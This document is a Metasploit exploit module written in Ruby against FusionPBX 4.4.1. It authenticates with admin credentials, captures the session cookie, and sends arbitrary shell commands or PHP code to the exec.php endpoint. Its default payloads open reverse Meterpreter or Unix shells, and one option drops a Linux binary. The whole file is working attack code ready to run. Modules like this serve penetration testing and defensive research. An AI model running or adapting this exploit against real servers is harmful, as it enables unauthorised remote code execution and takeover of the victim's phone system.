## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'FusionPBX Command exec.php Command Execution', 'Description' => %q{ This module uses administrative functionality available in FusionPBX to gain a shell. The Command section of the application permits users with `exec_view` permissions, or superadmin permissions, to execute arbitrary system commands, or arbitrary PHP code, as the web server user. This module has been tested successfully on FusionPBX version 4.4.1 on Ubuntu 19.04 (x64). }, 'License' => MSF_LICENSE, 'Author' => ['bcoles'], 'References' => [ ['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html'] ], 'Platform' => %w[php linux unix], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ ['Automatic (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}, 'Type' => :php_memory ], ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ] ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'DisclosureDate' => '2019-11-02', 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']), OptString.new('PASSWORD', [true, 'The password for FusionPBX']) ] end def login(user, pass) vprint_status "Authenticating as user '#{user}'" vars_post = { username: user, password: pass, path: '' } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), 'vars_post' => vars_post }) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.code == 302 && res.headers['location'].include?('login.php') fail_with Failure::NoAccess, "Login failed for user '#{user}'" end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first unless cookie fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' end print_good "Authenticated as user '#{user}'" cookie end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.body.include?('FusionPBX') return CheckCode::Detected end CheckCode::Safe end def execute_command(cmd, opts = {}) vars_post = { handler: 'php', table_name: '', sql_type: '', id: '', cmd: cmd } case opts[:handler] when 'php' vars_post[:handler] = 'php' when 'shell' vars_post[:handler] = 'shell' when 'switch' vars_post[:handler] = 'switch' vars_post[:cmd] = "bg_system #{cmd}" else vars_post[:handler] = 'shell' end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'), 'cookie' => "PHPSESSID=#{@cookie}", 'vars_post' => vars_post }, 5) unless res return if session_created? fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end if res.body.include? 'access denied' fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}" end res end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" end @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :php_memory execute_command(payload.encoded, handler: 'php') when :unix_memory execute_command(payload.encoded, handler: 'shell') when :linux_dropper execute_cmdstager(:linemax => 1_500, handler: 'shell') end end end